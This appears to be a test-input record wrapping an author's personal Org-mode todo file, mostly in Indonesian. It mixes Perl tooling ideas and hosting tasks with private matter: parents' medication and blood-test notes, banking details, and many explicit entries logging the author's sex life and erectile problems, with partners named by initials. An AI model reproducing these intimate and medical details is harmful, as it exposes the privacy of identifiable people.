  {
    -cmdline_src_input => "stdin_or_files",
    -cmdline_srcfilenames_input => ["/home/s1/organizer/todo.org"],
    input => "#+TODO: TODO WAITING PENDING | DONE CANCELLED DELEGATED FAILED DUPE\n#+TODO: BUG | NOTBUG FIXED CANTREPRO WONTFIX CANTFIX\n#+TODO: IDEA WISHLIST | DONE CANCELLED\n\n# today\n\n# this week\n- q exercises erc\n- ledgerutils: add-tx, delete-tx, list-txs?\n- bor\n\n# this weekend at bandung\n- bayar pbb\n- print jadwal rs immanuel\n- print hasil cek darah steven\n- albumize hasil cek darah papa, mama\n- folderize brosur2x\n* 00unorganized\n** from old todo [12/50]\n*** DONE [2013-08-17 Sab] instal faac, convert mp3 to m4r utk iphone ringtones\n*** CANCELLED [2012-07-23 Mon] pasang smartcd untuk ngeset RELEASE_TESTING=1 jika di repos/perl-*  <2012-07-24 >\n*** CANCELLED pindahin blogs & forums dari server23\n*** TODO setup script get-some-free-space\n- opsi: target X GB\n- opsi: dry run\n- hapus email2x Sent\n- hapus email2x Inbox yg read\n- hapus downloadan (folder tertentu)\n- hapus log2x lama di /var/log/\n*** TODO setup tethering android (bluetooth), tethering android (wireless), tethering android (wireless)\n*** CANCELLED ssh key endrik ke s23? atau miko dulu aja?\n*** TODO [2012-01-13 Fri] beli plugin security utk cpanel\n*** TODO [2011-12-17 Sat] bahan meeting (masukan dari forumk: billing 24h, tambah domain, whois proteksi)\nhttp://forums.masterweb.net/showthread.php?tid=7113&pid=18585#pid18585\n*** TODO [2011-07-29 Fri] spanel: instal drupal + openpublish kenapa gagal?\n*** TODO spanel: for --unsetup, find dependants and unsetup it first\n*** TODO spanel: for --unsetup without module/func, unsetup all found in undo data dir\n*** TODO 2dl/2find: intellectual friends\n*** TODO spanel: tambahin threshold utk policed\n*** TODO spanel: q: how much spanel-user-stats is burdening the server load? can we measure this with user-stats itself?\n*** TODO spanel: pindahkan fungsi2x dari managedomain.pl (replace domain, ...) ke SAAS::Domain\n*** DONE mwn: rekening mandiri pt kok masih bisa buka cek hanya satu orang doang (dhiar)? <2011-02-09 Tue>\nsementara yang bca pt sudah harus cek berdua. nia bilang waktu itu karena gw\njarang ke jakarta.\n\n- 2011-02-09: gw udah mention ini ke nia, katanya nanti akan sekalian diubah.\n- 2011-02-11: nia udah nyuruh gw tandatangan form pengubahan/penambahan tandatangan\n\n*** TODO spanel: cek spanel-smtpd (dicabut 'use Spanel::Utils' nya)\n*** TODO spanel: branch stable -> stable-lenny, +stable (=stable-squeeze), dev = dev-squeeze\n*** DONE spanel: buat vm builder-squeeze, test-squeeze\n*** TODO spanel: test reset-account-plan, reset-all-account-plans\n*** TODO spanel: api: server backup (/etc, ... + call account's backup_all_accounts)\n*** TODO spanel: test get-dns-zone-files\n*** TODO spanel: test backup vps acc\n*** TODO spanel: test list vps acc\n*** TODO spanel: test vm func vps\n*** TODO spanel/mwn: test disable/enable vps account via whmcs\n*** TODO spanel/mwn: test create/terminate/disable/enable shared account via whmcs\n*** TODO hijrah server2x hosting spanel ke squeeze\n*** update kb\n- ioncube sekarang ioncube_loader_lin_5.3.so\n- perintah dl() tidak disupport lagi di php 5.3\n- gak ada syck() lagi [documented?]\n*** DONE pindahkan domain2x proyek gw keluar mwn <2012-12-25 >\n- spanel.info sudah di luar mwn (gkg)\n- untuk diversifikasi risk aja, kalo2x mwn dihack, mengingat whmcs is not very\n  secure.\n- [2012-01-26 Thu] dipending sd akhir taun :p\n- [2013-01-22 Tue] gudangapi.com, gudangapi.org (sementara stuvv udah\n  expired/cancelled?, demikian juga indoforums; haryanto.org udah di gkg)\n*** TODO cari situs seperti jk utk singaporeans, malaysians, thailands, batam/sumatra/...\n*** TODO spanel: spanel-setup: chmod 711 /home harus diubah jadi 755\n*** TODO mwn: kb: mention when migrating\n- some browsers cache dns requests, like opera, so you should restart it too.\n*** TODO sp squeeze: mapscript.ini, sqlite3.ini, pam_auth.ini, mssql.ini masih nyampah di /etc/php5/conf.d/\n- bikin php cgi jadi lelet\n*** TODO sp squeeze: phppgadmin perlu diupgrade, error deprecated dll\n- gak bisa diilangin karena kayaknya dia error_reporting\n*** TODO sp squeeze: sudo gak jalan?\n: sudo /c/sbin/migrateuser.pl ...\n\nkemungkinan karena perubahan di sudo?\n\n*** TODO dl: french with subtitles\n*** TODO start french vocab program\n*** TODO benerin mirror debian (cari cara mirror yg bener)\n- tambah source juga, saat ini gak pake source\n- delegated to pian atm\n- pian nyerah :)\n- kayaknya gak perlu dicopy cp -la dulu deh? bikin lama?\n*** TODO [2012-02-15 Wed] my weekly\n- approve members/posting milis yahoogroups\n- mwn: approve posting di forums.masterweb.net\n*** TODO [2013-08-17 Sab] refill stok obat/suplemen mama        :cond_remind:\n- mama udah disiapin sampe [2013-11-20 ]\n- papa udah disiapin sampe [2013-11-09 ] (vitamin, coralan udah sampe [2013-11-19 ]\n- semua dalam format X tablet|kapsul (X dosis, X hari)\n\n- stok glucosamin 1500mg :: 81 tablet\n- *stok omega 3-6-9 :: 0\n- stok spirola (spironolactone) 25mg :: 30 tablet ( dosis,  hari)\n- *stok triatec 2.5mg :: 0 tablet (dosis, hari)\n- stok coralan (ivabradine) 5 mg :: 28 tablet (24 dosis, 12 hari)\n    + pt servier indonesia (les laboratoires servier france)\n    + 1 strip isi 14, 1 kotak isi 56 (4 strip), harga per tablet sekitar 9000-10000an\n- SEDANG TIDAK DIPAKAI. stok hct 25mg :: banyak # tablet ( dosis,  hari)\n- SUDAH TIDAK DPAKAI. stok concor 1.25mg (seperti beta-one 2.5mg tapi dosisnya 1.25mg) :: 1 tablet\n- SAAT INI LAGI TIDAK DIPAKAI. stok irvask (irbesartan) 300mg ::  tablet ( dosis,  hari)\n- SAAT INI PAPA LAGI DISTOP. stok piracetam 800mg ::  tablet ( dosis,  hari) # buat papa dan mama \@2/hari\n*** TODO [2013-08-13 Tue] scan dokumen ajb/sertifikat budi indah\n*** TODO [2012-08-21 Tue] bikin/beli ring basket buat papa di rumah baru\n*** DONE [2012-05-01 Tue] cari bilyet depo 50jt 6bln s/d 2012-04-30 (udah keperpanjang otomatis sih, tapi bilyetnya gak ada)\n- di jkt udah dicari gak ada\n- cari di bdg/kamar, diselipin di buku2?\n- udah lapor kehilangan ke polisi dan ke bank via monik, akan diganti nanti\n  bilyetnya.\n*** DONE [2012-04-20 Fri] buat skrip yaml2yaml-php untuk mengecek sintaks YAML pake parser php\n- [2012-06-26 Tue] implemented\n*** DONE beli nomor indosat -7777\n*** DONE start anki for mandarin & french  <2011-12-27 >\n- [2012-01-11 Wed] instal anki di pc baru dan bbrp deck intermediate french n mandarin\n- [2012-04-20 Fri] dah pasang di android sekarang utk mandarin maupun french (intermediate, chengyu)\n*** TODO [2011-07-22 Fri] iklanin rumah sasakgantung & budi indah?\n- [2012-06-26 Tue] sasakgantung sold 2012-05. budi indah baru ajb 2012-06.\n*** TODO [2011-12-31 ] compare hasil tes darah lama mama utk hematuria\n*** CANCELLED coba alkohol buat mama dikit (mis 1 sloki) buat <2011-12-18 >\n*** TODO masukkan old projects data ke ~/repos-old (cd 1837, 1838, 1839, 1899, 2014, 2015, 2118, )\n- pada upgrade/reburn dari bestcrypt ke cryptoloop (pake LKS), bestcyprt udah\n  gak compile under linux nih, maybe akses dari windows.\n** zoom files\n- zoom001ms = [2015-01-03 Aaa 13:15] ryo nangis saat dipegang2x mulut dan wajahnya\n- zoom0003 = [2015-03-05 ] koko nangis\n- zoom0004 = [2015-03-05 ] koko nangis beneran + tear\n** [2015-03-24 Tue] google keep harbudiman8\nlcpan given two dates, what hasthis author released?\n\nn 16mar benerin slidng door rmh. byr 20rb.\n\n2blog perl performance creating plugin or hook system: allow lisr of hooks to be retrieved from just module/file names instead of having to read/load the source.\n\nlcpan add hook on_extract.\n\nlcpan add plugin n subcommand to index mentions on pod.\n\nperl module bring nice things from oo world to non-oo. role (mpatch based, so its lexically scoped), method modifiers: around, before, after. sub composition.\n\nlist all things programming that i would like to have/see, mobile, desktop, cli, ...\n\ntypo in params sah: accepts hashref -> arrayref\n\npsah faq where do i learn more about sah, examples?\n\ndsah add bench script.\n\nperiswrap add bench script.\n\npericmd-lite: validare args dg cara, cek log wrapper, jika ada maka skip. lalu\ngunakan params::sah tp hanya include schemas utk arg yg disebutkan aja, utk\nminimize startup cost. (tapi saat ini dsah utk produce validator utk 2 simple\nschema butuh sekitar 40ms startup overhead, jangan aktifkan secara default?)\n\nn 23 mar rumah setra dr bbrp bln lalu bocor di dpn ruang kerja dan di timurny.. 3mgg laly dibetulin lem beton sama ason, tp msh bocor yg di timurny.\n\nretak2 rambut di sinding mulai terbentuk maybe dr bbrp bulan setlh rmh jd. ada jg yg ampir setaun br muncul.\n\nq retak rambut\n\nn 16 mar betulin sliding door...\n\npericmd-lite add --help --verbose\n\npericmd when log is turned off, --verbose should still be available fot --help --verbose.\n\nperl module: fuzzy matching for option for geopt::long\n\npericmd, glsubc: fuzzy matching or correction for subcommand name.\n\nmodule: contek modules, use pragmas.\n\nperl module config::iod::reader::encrypted like config::ini:;reader::encrypted #c\n\nperl module metacpan::simple, cli utk ++ a module.\n\nperl module cpanratings::simple, add review from cli.\n\nask zoffix to mention an alternativr to htmltempl in cpanr review.\n\nq klo sebuah tempat macet/rame atau tapi strategis, mis depan gerbang tol pasteur, nilainy naik atau turun? ada ga website atau buku ttg hal ini\n\n2org rename pics filenames in zhpngwen.com and comiple into an ebook i can use from phone\n\nn yg liana ga suka: santan, mknn india\n\nciod options for more compat with INI: allow_indented_comment. allow_bang_comment. allow_comment_in_section_lune. allow_comment_in_kry_line. allow indented section? allow indented key?\n\nri summary and caption for argument tag, eg inicompat itu utk better compatibility wi\n\nn aging kalo jalan pake sendal crocs terutama midnite abis pulang kerja sendinya kdg terasa agak pegal trutama di daerah jari kaki atau mata kaki. masalah sendal? atau?\n\nq podcast ttg arguments n logic n drbate.\n\ndescribe modules state, done? major bug or plan.. eg in ansitable.\n\neta2zero: use find -mindepth 1 in example.\n\nshort: return a map, or a reverse map of ahort -> long names.\n\nciod add method from_hoh which tries its best to create an iod from hoh (encoding, ...).\n\nciod add method to insert a section plus keys from hos. tries its best.\n\nidea emacs mode for iod\n\npericmd tut a few other special args: -cmdline for all programs, this is how a func knows its being run under pericmd. pericmd lite vs pericmd classic.\n\nq cek lab kadar pestisida serum, kadar zat berbahaya lain di serum\n\nrsybak command to test backup (opyion: faat, hanya traverse dirs and only rest read aftwr every N files)\n\nn 16mar koreksi waktu cctv rumah 14:18 vs 14:40.\n\nciod: delete_comment\n\nperl module dzp plugin to insert links to pod see also section taken from a bookmarks file.\n\npericmd tut: categorizing options\n\nextract ciod-expr jadi le-minimal?\n\nriap::http define cacheability: if function is pure, n GET.\n\n2blog/2write bikin ciod roundtrip trnyt gampang krn formatny sndr sangat line oriented n simple diparse.\n\nciod saat insert section/key, ikuti style sebelumnya atau sesudahny (indentasi, whitespace)\n\nciod add _fungsi utk find adjacent key/section/comment. dari linum x ke atas/bawah.\n** [2015-03-24 Tue] google keep tabtablettie\nq perl module that implements paxos. mysql has paxos feature? when master dies,\na new master is chosen by consensus/majority.\n\nexamples dists, add in description what they are.\n\nq mast habit vs er profile?\n\nsp otomatis blok block c jia bbrp IP mencoba n udah terblokir\n\nbor map HTML form input to widget to function arg. contoh date bisa 3 html form\ninput, bs juga yyyy-mm-dd klo pake js date picker. ke fungsi jd datetime object\nmisalny. who/where do we do the translation? contoh 1 form field yg jd bbrp\nfunction arg? ga ada kali y. input record ( satu row berisi deretan input field)\nyg jd hash k fungsi.\n** [2015-03-24 Tue] google keep harumbudi\nq who mentioned perlancar, transalahsi.\n\nlcpan/cpanlists: parse See Also in other modules and show cross references. i want to know module gw dimention di mana aja. ga hrs di See Also?\n\nperl module org examples\n\nperl module defhash examples?\n\nperl module other examples...\n\n2blog psah.. perf blows other param validation...\n\nfatten option to not trace and just depend on include.\n\nfatten option to trace libs found undr lib or other directory.\n\nwhy sah kykny blm dijawab\n\nmention psah in dsah.\n\nq lama sso ba kenxing saat ereksi menunjukkan kekuatan ereksiny?\n\nshort blum list long yg double.\n\nshort: document that symlink is rel so its more usable. or config so it can br rel or abs? document that get is absolute so we can use it to cd anywhere. or config so it can be rel. config so it can be to short or long.\n\nzh 18mar 1137 kos v yt indian m/fm speedo\n\nzh 18mar 0934 kos v tdny hot grls twit tp lalu yt men\n\nzh 17mar kos 1208 f yt hot ind m\n\nzh 17mar kos 1000 f f co jv\n\nzh 17mar 0908 kos v str8 jap prn\n\nzh 17mar 0205 kos v str8 jpn porn\n\nzzh l 14-15 ga klr cm bs ngefuck bentar sblm lemes. damn. gw stres. kata l pertama kaliny gw blg gw stres.\n\nzh 12mar 0903 kos v ce f terakhir kurs\n** [2015-03-10 Tue] google keep harbudiman8\nzh 10mar 0708 kos, mimpi f l (ptama x gw mimpi sex dg ce). kck. f ngef ce lama, ce sbelah kmr kos.\n\nzzh 8mar 1430 gw oral l n kck, l o 2x. gw ga tll e, jd ga ngck/klr. sempet pas l mau o ke2x gw jd krs tp pas mau dimskin jd lembek lg.\n\nzzh 9mar l pagi rmh, 0720 ggl masukin 2x g ada yg klr\n\npericmd tut rest vs riap::http. diacoverability (list request, meta for each func to find out args, ...).\n\nn ririn=sasha petrina. suami=\n\nri a way to order argument tags or arguments aside from pos. can be used for usage (prog --higharg --lowarg ...) and in pod/help.\n\nri prop (or tag?) to hide opt from usage, from pod, from help, from web form.\n\nidea bikin indo version of: the lazy fox jumps over the ..\n\nbikin indo version of lorem ipsum\n\nbikin indo version of metasyntactic var: foo bar baz ...\n\nga data histori apa yg bisa dijadiin duit, contoh domaintools dg whois history.\n\nga hosting php/etc, users should noy be required to write rinci metadata. a serverside tool should parse the code that user writes and generate rinci metadata for it. comment in javadoc or wharever is common for the language.\n\nga hosting idea. user shouldnt rvrn br required to specofy versions. old versions will be stored by the service. can revert.\n** [2015-03-10 Tue] google keep harumbudi\ncheck language regex di whmcs skr jd 2 level\n\nzh 10mar 1013 v\n\nperl module idea: path shortener like in fish (/home/ujang/Documents/new ->\n/h/u/D/new).\n\ncpanl idea: cari summary yg paling mirip dg sebuah modul. cari yg namanya mirip dg modul lain? find similar module automatically tanpa modul ada di list.\n\nzzh 8mar 1500 rmh l org 2x, gw ggl penetr (dupe)\n\ngenerate todo.md periodically in dist dir, n commit. not just during build\n\nadd note and last update date in todo.md.\n\nperiobj set resmeta keys via method calls for checking. eg\$envres->meta->cmdline->default-fformat(json):\n\n5mar kos 0047 v girls bikinis\n\npericmd config dir ditandai dg global/vendor/per-site/per-user/per-user vendor dsb. spt di moox::configfile.\n\n2cpanl mods/clis that convert json yaml etc to one another.\n\nperl module to print trees using ansi characters.\n** [2015-03-04 Wed] google keep harumbudi\nzh 4mar 1200 kos V tw str8 tp ll dpt sms kurs\n\nq writing unux socket server in go, nodejs. or perhaps just use the riap+pipe:// protocol.\n\nidea pericmd client sidr validation e.g. we write function code in nodejs.\n\nq what parts of fruit are useful/have vitamins etc\n\nzh 26feb 1400 kos v mix gi kiss\n\nzh 26feb 1433 kos v str8 prn\n\nn tip sex: why girl grind instead of just in n out? posisi surfing body n posisi mision tp cewek pantat pake bantal n kaki diangkat biar kena g spot. thruat full tp tarik setemgah.\n\nq kapan wkt yg tepat makan suplemen vitamin: zinc etc.\n\nzh 25feb 1750 kos tdmy liat v twit pic ebony beauty. ckp turned on. tp end up lookig at black m stripper.\n\nzh kos 25feb 1423 v yt musc latino f none. ptama liat vid how to fck women.. old man n y girl...\n\nq opsi mplayer utk pilih screen\n\npericmd: support alias natively. perlu ada method utk get-subcommand-url.\n\n2dl dongeng nina, bobo, deni manusia ikan, ... all things 80s n 90s.\n\nidea send an iso8601 period to friend over chat to set her reminder/alarm/agenda.\n** [2015-03-04 Wed] google keep harbudiman8\nperl module: schema dsah as moo type checking. in isa attribute.\n\nq prodia panel usila, harga, pemeriksaan logam berat\n\nwishlist app utk journal jam makan ee tidur bayi, can graph\n\ncek kadar timbal (n merkuri dll) ibu hamil, ryo\n\ncpanl let users store todo lists on modules, dists, author (personal todo lists of cpan authors). for authz perhaps we ask for pause uaer/pass to check if user is comaint of associated module.\n\nidea #d pericmd forbid arguments specified with cmdline_src=stdin_line to get irs value from cmdline option? or specify that argument value can only be apecified from config, etc. not quite like this though becauae it makes things more complex and less consistent.\n\npericmd tut gen-pericmd-script: there are two varieties of script generator:\nboilerplate maker (checked in) or dynamic generator (code soes npt get chwcked\nin). in general i dont like the first variety because itll just apew code which\ni ll have to maintain later (e.g. when project structure and best practices\nchange ). contoh in web frameworks . in general i dont want to have to maintain\nstuffs. when i dont have to. but ...\n\nada ga aekumpulan fungsi yg praktis: dirname, abspath, . seperti di php. like\npath::tiny tapi nonoo. abspathl, split, nama harus konsusten dan mudah siingat.\nlengkap. low overhead n depend.\n\nsome data for bhinneka .\n\nmodal datacenter.\n\nkaskus saat ini.\n\ntax for diluting shares for investment\n\npericmd tut conclusion pericmd is basically a lazy man's attempt to deliver your functions at the cli. it doesnt matter where ur funcs live: in the same script file,in another module, or remotely. it provides enough features to make this delivery just palatablr n tolerable. the focus is and always is functions. cli is a quick way to test ur functions ketimbang bikin oneliner atau actual perl programs to use ur modules.\n\nzh 26feb 1137 kos, v ebony b, b m stripper yt, b f stripper\n\nq which things matter, which things dont make a diff\n\nq how totake care of kneesquadstrenghttening, hamstring stretching\n\npericmd tut automatically pager output. mention io::pager.\n\npericmd automatically choose default output format.\n\npericmd tut link to list of examples.\n\npericmd tut principles of design: stick with hash, array, ... json as lowest common denominator.\n\nide twitter save u a click: list listicle items\n\ncari buku2 masa kecilku. hawkeye n ..., enyd blyton, kamus inggris bergambae, echols saddily, toko buku malabar, smurf aya media, dongeng hc andersen, buku gareng pwtruk, buku neraka islam, buku neraka rebecca brown, traktat jack t chick n alberto, komuk2 masa kecil lain, buku2 yg pernah dipijam di perpus sd smp sma, british council, buku2 koleksi masa kcl, buku yg pernah dibaca di ko aciu, rmh ci eeng, ...\n\nq beda night person n day person\n\n2dl youtube watch people code. watch people ...\n\n19feb n ko yusak pindah ke properti, bisnis agak turun, ci amei suaminya hasan sakit (diabet, lambungny muntah aja, ...) redy udah kerja sekolah perhotelan pastry ... sandy sma 3. lio anak ko awei. ci amei udah 50.\n\nq komunitas mg\n\nq cock ring, do they really work, side effects\n\n2co app::colorist n 2star\n\nidea selain coloring output of command, what else can we do w/ command output\n\nmake procgov plugin based? hooks\n\n16feb n ryo senang handuk good morning. dr 1-2 semingguan terakhir.\n\nidea function+rinci metadata into single-page webapp.\n\n2dl book quiet (introvert ...)\n** [2015-02-13 Fri] google keep harumbudi\nq are starfruits guava apples etc sprayed?\n\nhow to do tagged logging with log::any? aside from using category. liat library go milik fogcreek, nice idea.\n\npercmd tut bahas appconfig dan app::options setelah bahas config files.\n\npericmd tut why complete with self?\n\nide twitter: answers to ur quick questions\n\nzh 12feb kos 1330 kck tdny liat2 yt hands free o, how to fingering, akhirny jd k co\n\nzh 12feb 1035 kos nyirian v twit ce co f f fer\n\nzh 11feb 1531 kos ngck v twit ce spread f ce n 3s2m donk\n\nzh 11feb 1257 kos nyirian+kck v twitter ce co, f f fer\n\nzh 11feb 837 kos nyirian v twitter co f f fer\n\n2co beyong scared straiht\n\nfunction is program. i go to basics.\n\nconcept: dry\n\nconcept: laziness (also dry sih). dont want to repeat building wrapper or adapter or whatever for web forms, or cli options.. these days we are expected to provide a web interface, a cli inrerface, and ApI. they arw mostly rhe same stuffs (except when they arent, i know but we can manage the edge cases later).\n\ni even plan to reuse all or most yo pther language. in fact ...\n\nkos jemur bantal\n\nzh 6feb kos nyirian 1108 v twit ce f trakhirnya bayangin \"meki\" feri.\n\nperl module: dzp to add use prefork to all modules loaded during runtime or conditionally.\n\n2co books decisive, keep your brain alive, street smarts\n\nzh 1106 kos, nyirian, v twitter musc g, f sdikit ce n co\n\nzh 1410 kos nyirian v twitter ce n co, f ce n co\n\n2co ublock (micro u) pengganti adblock\n\nq nego. pricing. ....\n\n2co buku2/majalah indo yg ada di torrent\n\n2co books the new iq, street smarts, happy money\n\n2cpanl/2blog: modul2 yg too complicated for its own sake. modul2 si awncorp cpntohny. good programmers need to make simple problems simple.\n\nmkey mysql ada partial index? gunakan hanya jtk status yg bukan closed.\n\nn 31jan hrg rmh told kurs\n\nperlmod perl impl of this script: eta2zero https://chris-lamb.co.uk/posts/calculating-eta-to-zero-in-shell. pakai progany. eta2zero 'ls | wc -l'.\n\n2blog playing down timtowtdi\n\n2blog series about eriting clear readable perl, with (personal) examples. naming of variables (need to gravitate to longer variables, emacs dabbrev helps), paragraph... give an example then how to improve its readability.\n\nganti alamat blog di twitter\n\n2dl nusik zoe keating\n\n2co buku the eisdom of pdychopaths.\n\nplmod implement go date formatting\n\nplmod backend lcpan utk cpan::common::index\n\nlcpan add upload data from pause? demi stats spt releases per month etc. tp klo data mirrorny ga lengkap, hanya current releases, krg menarik jg sih stats nya.\n\nl 19jan ktm fer, kss orl\n\ntes apakah gw normal user bisa hapus /backup/builder.local/current/... mgkn harusnya kita tutup total?\n\nidea plmod remote coderef. user dpt coderef tp dia bisa call remote subroutine transparently.\n\ncek periahc/periahs utk adjustment streaming input/output now using coderef.\n\n2follow savedyouaclick\n\nidea twitter mirip di atas\n\ncompgl: handle <> (for non opts). it cannot be mixed with pass_through.\n\n2co filelock::simple mirip file::lock::retry n bisa pake time::hires\n\nidea perl dists that contain vatious errors, to test toolchain.\n** [2015-02-13 Fri] google keep harbudiman8\npericmd tut: what i'm trying to do is just minimize the code which i write. by\ndeclarative (metadata), by single code for cli/module_http api. by schema.\n\nn 11feb abstaining from mast is not the answer. in my ever search for ... brain...\n\ncoba speed up sshfs di rumah with some options\n\nzzh rmh l 10feb 0600 pentr but no org.\n\n2co book business adventures, john brooks. recommended as best investing book by billg, buffet.\n\nga specialize in banking routines\n\nzzh 3feb 0500 l, fail. gw yg initiate, mulai pegang2 dada lalu vag. dirojok2 sampe dah mau org, ereksi gw masih paling 20-30%. l lalu ngoral gw, ditambah fantasi gw bs keras, tp begitu cukup keras utk f, dlm 2-3 detik pas mau wot, udah kburu kerut. baringan bentar, l ke wc, gw disuruh ngck. pas dia balik lg lanjut ngck, ptama susah krn bgt dia dtg jd mengecil, hrs dipaksa fantasiny. akhirny gw klr dr ngocok tp gw ga puas/ga enak, ptama krn ereksiny ga full, kdua krn ga ngefuck.\n\neta2zero add simpler example, more description about mechanism n error handling, show sample progtesss bar, accept q? clean bar on int?\n\nq carajln cepat yg bnr\n\nprogany accept n ignore neg number pos or croak?\n\npericmd tut: whats wrong with docopt.npthing its just that i dont quite like the\n(inverted) approach.at yt\n\nswitch spinning cursor in the middle to signufy type of operation, eg when doing io or download, change to pie or whatever. do something similar with progress bar.\n\n2co styleforum.net\n\n2buy next frame: mykita or lindberg. ada screwless jg yg lindberg, tp pake plastik? pake titanium jd lbh tebel tp tetap ringan. mykita is ic berlin fork. tp lindberg udah ga all made in EU lg.\n\nproganyo put message/strelideparts handling in this base class? proganybase?\n\nplmod progress::any support for other client library e.g. mojo, ... (see neilb's article)\n\npericmd tut: what if i want to use a custom progress bar task? just get ur own\nindicator.\n\nmarlupi dance class 92922933 sab 10-16.\n\nplmod map metro jakarta busway?\n\npericmd sbg latihan streaming input n output, buat app jsonfilter or something. output format selalu json stream.\n\nwhen/how to display json stream as text/simple table?\n\nlcpan add plugins for various queries\n\nlcpan query to find out the level of reuae between modules. how many percentage of modules are used by other modules. how many users are using others modules.\n\nglsubc: use getoptlong's <> handler to simplify code? kayakny ga bs.\n\npericmd, pericmd-lite: output format --json-stream (json separated by newline).\n\n2tweet: perl 5.18 new features that are solution searching for a problem: ..., that are real solutions: ...\n\nide jual twitter yg udah beken\n\nide twitter yg summarize berita\n\nide plmod dzp-checkprereqsindexed versi lcpan\n\n2co app::recordstream\n** [2015-02-13 Fri] google keep tabtablettie (NEW, nexus 7)\n2co eta (cli util)\n\nQ salt sensitivity and urine retention\n\nQ salt sensitivity, which one is prone to heart disease, the slave whose sweat is salty or not?\n\nN 18jan finish reading think like a freak (3 mgg gitu?). Review... Rating 6.5/10.\n\n2co nurhadi purwosaputro\n** [2015-01-14 Wed] google keep harbudiman8\nrun function, get arg defaults from config file. extract this functionality from pericmd-base into module. use case: run lcpan functions via perl.\n\nin pwp-ri, how about instead of using periap, just get %SPEC from packages and normalize them. this is simpler n faster n lightweight. if we cant, at least explain why in pwp-ri.\n\npwp-ri: remove caveat #1. it now works.\n\n2co pod::elemental::transformer::splint, pod html nya bagus/rapi.\n\n2co peertopeer.io\n\n2co interestnetwork.io\n\n2w sleepless in america\n\nnotes about sqlite: serials, insert or ignore and last insert ids, ...\n** [2015-01-14 Wed] google keep harumbudi\nperl module: webserver like cpanminiwebserver but for lcpan db\n\nzh 13jan 0914 kck g kuku liat wa dg jml/ali bi. shit :(\nzh 13jan 1006 telp dg jml/ali bi n ngck lg deh.. shit ah\n\nn jl aman sebelah trans: buntu. ada kos putri di no 4. mayan kliatannya. kecil tp mgkn cuma 4-8 kamar?\n\nlcpan faq how to sync to laptop or other computers?\n\nlcpan how to add my own packages? perhaps \xC3\xA7panl create subcommand? smtr jawab dg pakai orepan aja + index dengan local-cpan update-index.\n\nbug: kenapa muncul en_US di pod cpansqliteutils y. cara executeny?\n\n2cpanl modules that enable syrict and warnings. moo moose dancer dancer2.\n\nrun cover test for my cpan dists. is there a dzil plugin for this?\n\nzh 8jan 0527 nyirian f 3s fer val. mau nyoba multiorg tp ga kuat. sbnrny mulai m mgg ini krn kkcewaan jg. ud 3 mgg nahan ga m tp pas dg l ggl lagi.\n** [2015-01-07 Wed] google keep harbudiman8 (hp moto g)\nide blog perl: what i would remove from perl. context. format. nonstrict. my ... selalu its just 2 chars. but strict refs belum. package yg bukan block. really, in these times the different ways people do things just for being different, especially in coding style, needs to die. hash and array? probably. anything that makes language complex. bareword filehandle.\n\nplan rumah brikut: access door ada switch nya\n\nq catatan utk rumah brikutny: kekuatan cantolan selot pagar.\n\ndzpsff: opsi utk tambah see also ke modul utama (and others)\n\nblm ada raison d'etre distutils (liat dist serupa lain jg), tambah faq spt di pmutils\n\nsched cek prostat\n\nq hubungan er n nahan kenc n prost.\n\nl 29 mlm aj ml, kt g bsk tp akhrny g.\n\npericmd tut about thor and why our approach is data oriented. check rinci metadata.\n\ncheck rinci metadata. ada yg udah di testri ga?\n\npericmd tut segway ke rinci metadata. why hash? slow?\n\nq thor support completion?\n\nide program akunting/ibamking utk setiap transaksi perlu dikenali, yg gak dikenali lgs alert. kasus transfer ke yunita marina 26des br ketauan, 0dhl dari tgl 12 lalu 18.\n\nide pasang web bug di pod cpan utk mngethui how man times seen. syg ga bs find out download counts.\n\npericmd tut compare dengan thor. mirip2 tp doesnt do dsl. its all data. manfaatny...\n\n2dl book creating awesome cli apps in ruby\n\npericmd tut adding a new output format harusnya easy di PC bur not in pclite. tmasul completion utk --format.\n** [2015-01-07 Wed] google keep harumdua77 (hp mito a68)\ntut pericmd: after this tut u,ll be able to judge if thus is useful ir truly suck.\n\ntut pericmd: why it is in the form it is now. what was the req and dev principle. dry, network service oriented, completion.\n** [2014-11-13 ] google keep harbudiman8 (hp moto g)\n2cek darah level testos?\n\n2co odoo.com\n\nidea cache sprintfn\n\nperlmodule: completer for some of my nonpericmd cli: fsql, perlmv, ...\n\npastikan nanti nambah cc validation di borang itu gampang n kick ass. ideally only one line.\n\nn fr 3ce wkt 15 smp, pcr 1, pcr 2, col.... udh 3-4th. ngerjain fb.\n\nryo 7nov dah bs rolling full. udah mulai nangis kalo makanan atau barang yg dipegangnya diambil. rewel.\n\nzh 12nov 0810 jkt kos f liana kurs\nzzh 6-7nov fvh fr 5x vs 0x, ...\n\nidea list recommended and suggested modules in ri metadata?\n\nq pngaruh dl mast dg gesek rjg thd kualitas er\n\nzh 6nov jkt kos 2235-2330 mlath er, pengn spt valen\n\nzzh 1nov 2130 rmh l, hand. me no erct.\n\ne 30okt 11,5 circle k minum\n\nidea perl module acme cpanauthors yang punya 2+ pause id.\n\nsetelah kpndisi bdn stabil, renang n latohan beban lg\n\n2co formfu n talk\n\nwrite functions upload file which uses stre output n input, pericmd juga supportnya streaming pnly, riaphttp client translates this to partial imput with retries/resume.win win: nulis fungsi upload lebih gampang, tapi http dapat resumeable upload.\n\nutk fungai downloadfile sebaiknya explicitly partial result. perid mgkn bs memberikan cmdline arguments --result-start --result-limit.\n\nthougjt spreadimg decision utk mencegah one bad deciaion ruining/losing all assets/etc\n\nidea perl module perlmv2, rincified and has undo capability.\n\nzh 30okt 756 jkt kos\n\nzh 29okt 0023 jkt kos ht8 stab8-9 er8-9 sats7,5, f ws rich bdck\n\nzh 29okt 0918 jkt kos ht7 stab7-8 er7-8 sats7 amt7-8 f rich bdck\n\nzh29okt 1034 jkt kos ht5 er3-4 sats4 f ws\n\nzh 29okt 2340 jkt kos ht6-7 er6-7 stab7 sats6 bbm fdck f ron siatr\n\nq controlling ants\n\npericmd tut: creating your own formatter?\n\nlist things that need speed improvement. 2cpl modules that seriously need speed improvemnt.\n\npericmd tut custom cpmpletion\n\npericmd tut custom riap client.\n\nperia tut tx\n\nperia tut dealing with network error\n\n2co elwxtriccommander\n\n2co plugin atau fotur whmcs ganti harga domain\n\n2co edutax\n\n2star hardware::sensorsparser\n\n2w extant\n** [2014-10-24 Fri] google keep harbudiman8 (hp moto g)\nga cek database nama pt, berbayar?#e\n\nudah ampir 40 tahun, cari program weoght training utk mencegah muscle loss\n\n2co rainbow delimiters emacs\n\n2co color theme tangotango\n\n2co org-capture\n\n2w gpmmorah (2008) ttg mafioso based on real life.\n\nl 16okt apartemen tomi bassura dijual dianggap bayar hutang nilai dianggap 